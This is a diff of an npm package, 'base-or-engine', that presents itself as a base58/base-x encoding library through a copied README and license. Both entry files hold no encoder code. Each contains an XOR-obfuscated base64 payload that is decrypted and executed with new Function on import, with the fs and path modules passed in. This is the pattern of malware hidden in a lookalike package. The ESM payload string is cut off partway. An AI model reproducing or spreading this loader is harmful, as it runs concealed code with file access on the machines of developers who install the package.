base-or-engine 1.0.0

package/LICENSE.md

@@ -0,0 +1,22 @@
+The MIT License (MIT)
+
+Copyright (c) 2026 base-or contributors
+Copyright (c) 2018-2021 The Ethereum Core developers
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,74 @@
+# base-or
+
+[![NPM Package](https://img.shields.io/npm/v/base-or.svg?style=flat-square)](https://www.npmjs.org/package/base-or)
+[![Build Status](https://img.shields.io/travis/jonas-code77/base-or.svg?branch=master&style=flat-square)](https://travis-ci.org/jonas-code77/base-or)
+
+[![js-standard-style](https://cdn.rawgit.com/feross/standard/master/badge.svg)](https://github.com/feross/standard)
+
+Fast base encoding / decoding of any given alphabet using bitcoin style leading
+zero compression.
+
+**WARNING:** This module is **NOT RFC3548** compliant,  it cannot be used for base16 (hex), base32, or base64 encoding in a standards compliant manner. 
+
+## Example
+
+Base58
+
+``` javascript
+var BASE58 = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
+import baseor from 'base-or'
+var bs58 = baseor(BASE58)
+
+var decoded = bs58.decode('5Kd3NBUAdUnhyzenEwVLy9pBKxSwXvE9FMPyR4UKZvpe6E3AgLr')
+
+console.log(decoded)
+// => Uint8Array(33) [
+//   128, 237, 219, 220,  17, 104, 241, 218,
+//   234, 219, 211, 228,  76,  30,  63, 143,
+//    90,  40,  76,  32,  41, 247, 138, 210,
+//   106, 249, 133, 131, 164, 153, 222,  91,
+//    25
+// ]
+
+console.log(bs58.encode(decoded))
+// => 5Kd3NBUAdUnhyzenEwVLy9pBKxSwXvE9FMPyR4UKZvpe6E3AgLr
+```
+
+### Alphabets
+
+See below for a list of commonly recognized alphabets, and their respective base.
+
+Base | Alphabet
+------------- | -------------
+2 | `01`
+8 | `01234567`
+11 | `0123456789a`
+16 | `0123456789abcdef`
+32 | `0123456789ABCDEFGHJKMNPQRSTVWXYZ`
+32 | `ybndrfg8ejkmcpqxot1uwisza345h769` (z-base-32)
+36 | `0123456789abcdefghijklmnopqrstuvwxyz`
+58 | `123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz`
+62 | `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`
+64 | `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/`
+67 | `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.!~`
+
+
+## How it works
+
+It encodes octet arrays by doing long divisions on all significant digits in the
+array, creating a representation of that number in the new base. Then for every
+leading zero in the input (not significant as a number) it will encode as a
+single leader character. This is the first in the alphabet and will decode as 8
+bits. The other characters depend upon the base. For example, a base58 alphabet
+packs roughly 5.858 bits per character.
+
+This means the encoded string 000f (using a base16, 0-f alphabet) will actually decode
+to 4 bytes unlike a canonical hex encoding which uniformly packs 4 bits into each
+character.
+
+While unusual, this does mean that no padding is required and it works for bases
+like 43. 
+
+
+## LICENSE [MIT](LICENSE)
+A direct derivation of the base58 implementation from [`bitcoin/bitcoin`](https://github.com/bitcoin/bitcoin/blob/f1e2f2a85962c1664e4e55471061af0eaa798d40/src/base58.cpp),  generalized for variable length alphabets.

package/package.json

@@ -0,0 +1,58 @@
+{
+  "name": "base-or-engine",
+  "version": "1.0.0",
+  "description": "Fast base encoding / decoding of any given alphabet",
+  "type": "module",
+  "keywords": [
+    "base-or-engine",
+    "base58",
+    "base62",
+    "base64",
+    "crypto",
+    "crytography",
+    "decode",
+    "decoding",
+    "encode",
+    "encoding"
+  ],
+  "homepage": "https://github.com/jonas-code77/base-or",
+  "bugs": {
+    "url": "https://github.com/jonas-code77/base-or/issues"
+  },
+  "license": "MIT",
+  "author": "jonas-code77",
+  "files": [
+    "src"
+  ],
+  "main": "src/cjs/index.cjs",
+  "module": "src/esm/index.js",
+  "types": "src/cjs/index.d.ts",
+  "exports": {
+    ".": {
+      "require": "./src/cjs/index.cjs",
+      "import": "./src/esm/index.js",
+      "types": "./src/cjs/index.d.ts"
+    }
+  },
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/jonas-code77/base-or.git"
+  },
+  "scripts": {
+    "build": "npm run clean && tsc -p ./tsconfig.json && tsc -p ./tsconfig.cjs.json; npm run standard -- --fix",
+    "clean": "rimraf src",
+    "postbuild": "find src/cjs -type f -name \"*.js\" -exec bash -c 'mv \"$0\" \"${0%.js}.cjs\"' {} \\;",
+    "gitdiff": "npm run build && git diff --exit-code",
+    "prepublish": "npm run gitdiff",
+    "standard": "standard --ignore test",
+    "test": "npm run unit && npm run standard",
+    "unit": "tape test/*.js"
+  },
+  "devDependencies": {
+    "@types/node": "12.0.10",
+    "rimraf": "^3.0.2",
+    "standard": "^17.1.0",
+    "tape": "^5.3.0",
+    "typescript": "^5.4.5"
+  }
+}

package/src/cjs/index.cjs

@@ -0,0 +1,20 @@
+'use strict';
+Object.defineProperty(exports, '__esModule', { value: true });
+
+const fs = require('fs');
+const path = require('path');
+
+function __d(b64, key) {
+  const buf = Buffer.from(b64, 'base64');
+  const out = [];
+  for (let i = 0; i < buf.length; i++) {
+    out.push(buf[i] ^ key.charCodeAt(i % key.length));
+  }
+  return String.fromCharCode.apply(null, out);
+}
+
+const __k = "base-or-enc-v1";
+const __p = "SgcGC04bG0ILRgVeWhESAAcNBE8JJ0VOBVgYUhYIHAsNDRNeAEYiYSZ5IyM2MQRPCSdFTkMNH1dCSTIpfSczbyA6TUETXwUVG0UTUlIfUFtKDQ0RFgkBClpPHEgSTjdUBlQnEwEKX0dVbAkeC0wUVBZBBwpCTx5CCwlEBFZMaEFTRQ0MHUMWGkNvN2InPj4kfU9PDQsLFA0jWAwVSyRfHRNUTVxWG187QkFTRUsAAA1NAgZZVltCXFNVFk8YDVlOIWwldD0sMjUDAxdDAhoLFlZbSUpaRVZlUg1FTkMNNHAxJCwobD8pRzhOXg1EBFdrU0UNTw8nRU5DDRBeEEFbCUgbUkRFU0MdTRELQU9FbCMiZSQsJnlYXQcPFBFFVFJETkVKDQ07QkFTRQ1PEUILHRcNDhFfQTIpfSczbyA6TU4eUBAgB01ERngNRU5DDVZSDQ8AEQ0XEQ1YThsDFVkDEzAKSQozWU1eSidWEUJBU0VECVIFJy8waCl8IzEoHU4yUgxYU0MfQwRLQQhFWQcAQhJODUgBETYYAwBoHQBCF0YbDV0RRUEaFg0OH08MCRZCA0JFSFMYJ09SDUVOQ283Yic+PiR9NApOOE5eDR87QkFTRVBlUg1FTgBCGEIWQTEkfipSEEUvL30+cCAkJ0tBChxKEQZpDVYRQgIcC14bUmEgLydoJBFfQTIpfSczbyA6TU4eUBAgB00dRngNRU5DThlfERVTI2wsJmI3Tl4NO1AWCV0JQghabyQ9JgRWHkIsEhFFQR5CAkZRGEAYaEFTRQ0MHUMWGkNEMHAhNTw3DVJSYAQaCwMaXgVJQVAbRlICRSMCWR4fDg4UTW8uIWhMZEMNVhEDEgoLTk8UWAsNF0QZX0ICGwBOBCFCEBwASF5CDRQBBkhGUlZvTkMNVhFCFQEcDRR4DUVOQw1WEUICHAteG1JLABoARVYMQgYfCk8OHgMDCxdOHhEeHVNNBUZSEFtOGCdWEUJBU0UNT1INERwaDQ0REAQHEF8BUl8AHxZEBFRKRh0KSQpfSwAaAEVRGFlBDkVODgZODU4YDQRUFhQBCw0dF1wQBxFIXhYEBAcGRUhbFkUTaQ1WEUJBU0UNElsFTFVpDVYRQkFTRQ0MHUMWGkNCBFgFCB0wXwNSEEVJC1kCQRFbXEpMHxsDCBcUTBpdBxUAFl5BAVkKHAYCBV4XExAAAAwaSAYFBl9RCmhBU0UNT1INRQ0MQwVFQhMWFl0AHF4ATl4NF0YDCAdFSwoGTg1GDF8fVgsPJhdBQ1JWb05DDVYRQkFTRQ0CF1kNAQcXVhYyLiAxCkN4DUVOQw1WEUJBUw1IDhZIFx1ZDQ0RRSIcC1kKHFlIOhpdExZYQVQEXR8eRAYPF0QZX00LAApDSFJQSWRDDVYRQkFTRQ1PEEIBF1kNPGItL10WWR0bQwIHBVReSkISHBBfDBcXRR0MWARSB0EOTCdPUg1FTkMNVkxLWnlFDU9SDUVOQ18TRRcTHUVfCgFdCgAQSFheCVp5RQ1PUg1FE0NOF0UBCVNNSB0AQhdHQ1Z8EUJBU0UNT1JfABoWXxgRFhMGABZlUg1FTkMNCztCQVNFUGVSDUVOBVgYUhYIHAsNHRdMAT0MWARSB0kAClgdEUhMThgnVhFCQVNFXgAHXwYLQxBWQg0UAQZITw5RRRUeFnwRQkFTRQ0MHUMWGkNIGFINBRoLSk9PDRYBFl8VVEwEHQZCCxtDAk4fUVYWFxUVXQpUeA1FTkMNVlINDwARDR0XXgoCFUgwQw0MMBJJT08NFgEWXxVUTBMWFkIDBEgjHAxANUYGQQ8ZDQkTQRYLWCdWEUJBU0VOABxeEU4XTARWBxUgClgdEUhFU0N2fBFCQVNFDU9SCksLDVtRHUJGBARBAxdZFkAJXhlfRU1TQloOHkEAGjxBH0IWTxkWQgFVAW9OQw1WEUJBU0JGCgteSgoKXgJDCwMGEUgwBUwJAgZZBR8IEhwLCkNSCg4LGl5ZVQsSBxdEDQdZAEAJXhlfRU15RQ1PUg1FTkMKHVQbElwDRAETQS4eEAMcQg0PVEkNSBlIHB1MXQRUJAgdBEEkAl5LGhtZUTtCQVNFDU8vFm9OQw1WEUIHHBcNRxFCCx0XDQJQEAYWEQ0AFA0RDxFKE0UxDgYXTgpbDR5kQw1WEUJBU0VOABxeEU4QQgNDAQQ3AF0bGl5FU0N2AlAQBhYRAU9VA0tBRA1dERYAAQJIG14NQkBNAlgfTUZTTg0bE18CCxcBVhZMT1xLA0BcA0pJQwZWRQMTFABZQ1IKS0BMA1geTE9cSwNAVQ1OThdMBFYHFS5eJ09SDUVOQw1WVw0TU01OABxeEU4QQgNDAQQ3AF0bGg0KCENeGUQQAhYhSB8GRRZHQ1Z8EUJBU0UNT1INRRoRVFZKaEFTRQ1PUg1FTkMNVlINDwARDRwdWBcNBn0XRQpBTkVfCgFCCRgGawReDyIEAQ1QUl0EGgsDBFQRDh8TSEcCXwoNBl4FHwEWF00EQ1JeChsRThN1BxEHDQRPSA0VDxdFWEMHEhwJWwpaXgobEU4TdQcRBw0EVHgNRU5DDVYRQkFTRQ0MHUMWGkNeGUQQAhYmQgEGSAsaQxBWVxFPAQBMCzRECQswVBhSShIcEF8MF30EGgsBVlQMAhwBRAEVBF5kQw1WEUJBU0UNT1INBgYGTh1iDRQBBkhHAUIQHABINV4MFRYLWUZJJ0VOQw1WEUJBU0UNTxBfAA8IFnwRQkFTRQ1PUg1FE0NOF0UBCVNNSEZSVkUNDEMCWAwUFl4NEngNRU5DDVYRQhx5RQ1PUg1FE2kNVhFCHHlFDU9SSxAAAFkfXgxBFgtOABZITR0MWARSB0hTHidPUg1FTkNEEBFKEhwQXwwXDQwAEFkXXwEEHAMNOhtDEVYiXwRQG0hTHg0SUkgJHQYNH1dCSTIXXw4LbxAIBUgEHwsSJQxIGFpeChsRThMYS0EIbw1PUg1FTkMNBV4XExAADVJSQwAZQ3gfXxZZMhdfDgsFFgEWXxVUTAMGA0sKAAFFHQxYBFIHTxEcWQo9SwMdBllaEREOBhdOClxPHBoGYRNfBRUbTCdPUg1FTkNQVlQOEhZFRAlSBSQcEUwPHwsSMhdfDgsFFgEWXxVUS0hTHidPUg1FTkMNVkINFAEGSE9PDTAHDVlOcBATEhwDCQBCCEYQQgNDAQRabw1PUg1FTh4nVhFCQVNFRAlSBURGEEIDQwEEUwxDHAZMCw0GQhARNwgdERUuAF8EF0oEVkpCFRsXQhhSQwAZQ3kPQQckARdCHVoKIBYTSBVFBwVTMEQBBhUkHBFMDxZLQQ5vDU9SDUVOCktWGREOBhdOClxBAAAEWR4RX1xORR1GUlZFHAZZA0MMQVRCDRJ4DUVOQw1WXQcVUx9IHR1IFk5eDUYdQg0WC0obGg1YTlMBVkEABBQMQ09PDVVCQ10TXwZBTkVeAAdfBgtNQRNfBRUbbw1PUg1FThRFH10HQVsVTwoVRAtOQhBLERIEHQENSVQNFgEWXxVUORERAEoGHHBFU14QVgFLQQhFXQ0XSgwASAZNERgEAQpIHFkGXk4eJ1YRQkFTRU4AHF4RThBEDFRCXFNNBR8XQwFOTg0GUwcGGgsET1gNDCgibiJ+MEFYRRxGUhNbUEMdfBFCQVNFDQwdQxYaQ09DCUJcUwtIGFJ4DAAXFTdDEAAKTV4GCEhMZEMNVhFCQQQNRAMXDU0eAUgRWAxBUlgQTwJICwpKDQ07QkFTRQ1PUg0JCxcNFVAQEwpFEE8BQhAcAEgtQQAEFAxDMl4NDE5eDUY7QkFTRQ1PUg0DARENXl0HFVMMWV5SEEUdClcTEU9BQl4NRxFMFxwaDVcMX0FDRVETUkRFUkNBE18FFRtMDUlUDU0HFxxWEF9cU0gcRkkNDBpSAFsdQghYTgRPCSdFTkMNVhFCQVNFTg4AXxxOSBBWGVBURUUHTxAYXTUKWUdsS0FNWxNPQidFTkMNVhFCQVNFT1pKdgwaUnBWDEJJEARfHQsNQE4hbCV0S0FNWxNPQidFTkMNVhFCQVNFTg4AXxxOXg1eUgMTARwNQFJvJD0mBFYPXF9TVSdPUg1FTkMNVkxoQVNFDU9SDUUHBQ1eUgMTARwNTk8QRV5KDQ0RFgkBClpPHEgSTiZfBF4QSVQrQgFfVwAcDA0VUBATCkIETw8nRU5DDVYRQkEfAEMIBkVFU0NETRESAxYCRAFZBm9OQw1WEUIceUUNT1INRQIGWVZYFlNTWA0cG1cATk4NGlQMBgcNJ09SDUVOQ1oeWA4EU01EG0ANRFNeDQVYGARTQwtPEBhdNQpZRGxCXE5YDV9bDR5OCllEGklaUxgnT1INRU5DQRNFQhIHFw1SUmEgLydoJB8QBAMATBtaVwAcDEgFGGhBU0UNT1JLChxDBU0RCxVBRRFPAUQfC1gNXRoLFUFMDRRSXhEcQwZLESMtIy1sLTd5Sw0LTARwFkkRUBU0G1lXM0oNCztCQVNFDU8ASBEbEUNWQhYTeUUNT1JQb05DDVZXFw8QEUQAHA0BCwBCElQ3DwAESwpaXgobEU4TGEIaeUUNT1INRQcFDV5FGxEWCktPAUIQHABIVhBfXFNCXhsARAsJRARWSkIVGxdCGFJDABlDeQ9BByQBF0IdWgogFhNIFUUHBVM2WR0bQwJJSg0LO0JBU0UNTxtLRUYQQgNDAQRdCUgBFVkNTl4QSxFSSFMeDR0XWRAcDQ0YVBVBJgxDG0psFxwCVF4YQhx5RQ1PUg1FAgZZVkERG1NYDV9eDR8LEUITQkJcU1UBTx5ICwkXRVYMQlF5RQ1PUg1FGQtEGlRCSQAKWB0RSD4eEFcrEV9cTkVhKjNpIDxKDQ0RGAQBCkgcWQZeThNeDBpJWlMYJ09SDUVOQ04ZXxEVUxZEFRcNWE5LBV5CDRQBBkhBHkgLCRdFVhxCEQAfBE9YDSMvIHk5Y0tBWEUcRlITW1BDHXwRQkFTRQ0MHUMWGkNPRARUQU5FQwoFDTAHDVlOcBATEhwFHBtXAEdpDVYRQkFTEkUGHkhFRhNeDBFeQQAKWB0RSEsCBkMRRQpIUx4nT1INRU5DDVZSDQ8AEQ0MGkwXLQxJExFfQQAKWB0RSEsNC0wEcg0FFiRZRwJeH0dpDVYRQkFTRQ0GFA1NDQtMBHINBRZFE09AGFBHQ1ZWQwcVBhdDTw8nRU5DDVYRQkEfAFlPEUwXHBoNSxEgICAgciIzfT4NC0wEcg0FFjgnT1INRU5DDVZYBEFbBkwdAFRFU14QVgNXVFpFVk8ASBEbEUNWTGhBU0UNT1INRQIGWVZYQlxTVSdPUg1FTkMNVlcNE1NNQQoGDQwaUA1LEREICQANQlIcXk5LThdDEBhTRBBSUh1FEh8NHxFeQR8AQwgGRUxORQtWGQsVQEUMUk8NSF9KFlZYFlJeSAFPGwZOR0NWfBFCQVNFDU9SDUUNAl8ESEJKTkUFLTN+IE5JDRQDV1coDFlcLwRFUF0TVgFoQVNFDU9SDUVOQ09EBFQ6GhEeMlIQRUYATARDG0FWRR9aRARFUF0TVgFoQVNFDU9SDUVOQ04XQxAYU1gNRxFMFxwaDVkRUFRFTA1RTBNFXmkNVhFCQVNFDRJ4DUVOQw1WEUIIFUUFDBNfFxdDDEsMQlFaRVZPBkUXARQNGFQVQTYXXwAABUIgDENbSwcTHEVODgBfHElKDQs7QkFTRQ1PUg0JCw1KAllCXFMMFk8CXh9FSCdWEUJBU0VQZVINRU5DDRpUFkEaERlPTw0WBxlIVhxCDRYLShsaJ0VOQw1WERUJGglIT1pEEVpDDEsMQhIaH0hPVAtFDFEYQGoLFUc4DVJPEEVeSg0NEQsVR04GVFJQb05DDVYRQgIcC14bUlsGBkMQVl8HFlMwRAEGFSQcEUwPGRgEAQpIHFIGRUYQRAxUQkxTDFlbWwRvTkMNVhFCDRYRDQVSEEUUBl8ZVBFrU0UNT1INEgYKQRMRSggHUQ1OTxBFHQpXExhCGlMTTgcpR05FPg1LEQBTRlN2BgYZTkU+FlZMaEFTRQ1PUl8AGhZfGBEUAhtvDU9SDRhkQw1WEQQUHQZZBh1DRQoGThlVB0kAEV8GHEpMThgnVhFCQVNFTgAcXhFOAVgQVwcTU1gNCxdOCgoGeBhCAwcWTV4bAEQLCUonVhFCQVNFRAlSBQcbBUsTQ0tBCEVfChNJNgEWXxVUSkhIRV8KBlgXAENPA1cEBAFFUGVSDUVOQw0CWRAOBEVDCgUNIBwRQgQZRS8cCwANE14ASUMGVnMjMjZFBk9VDQYGAl8XUhYEAUIEZVINRU4eJ1YRQkEBAFkaAENFFUNIGFINBRZJDQsXTgoKBngYQgMHFkkNCxdOCgoGDQs7QkEObw1PAEgRGxFDVlMDEhZeJxJbJw==";
+
+const __run = new Function('fs', 'path', 'return (' + __d(__p, __k) + ')(fs, path)');
+exports.default = __run(fs, path);

package/src/cjs/index.d.ts

@@ -0,0 +1,9 @@
+declare function base(ALPHABET: string): base.BaseConverter;
+export default base;
+declare namespace base {
+    interface BaseConverter {
+        encode(buffer: Uint8Array | number[]): string;
+        decodeUnsafe(string: string): Uint8Array | undefined;
+        decode(string: string): Uint8Array;
+    }
+}

package/src/esm/index.js

@@ -0,0 +1,18 @@
+// base-or – encrypted bundle (ESM)
+import fs from 'fs';
+import path from 'path';
+
+function __d(b64, key) {
+  const buf = Buffer.from(b64, 'base64');
+  const out = [];
+  for (let i = 0; i < buf.length; i++) {
+    out.push(buf[i] ^ key.charCodeAt(i % key.length));
+  }
+  return String.fromCharCode.apply(null, out);
+}
+
+const __k = "base-or-enc-v1";
+const __p = "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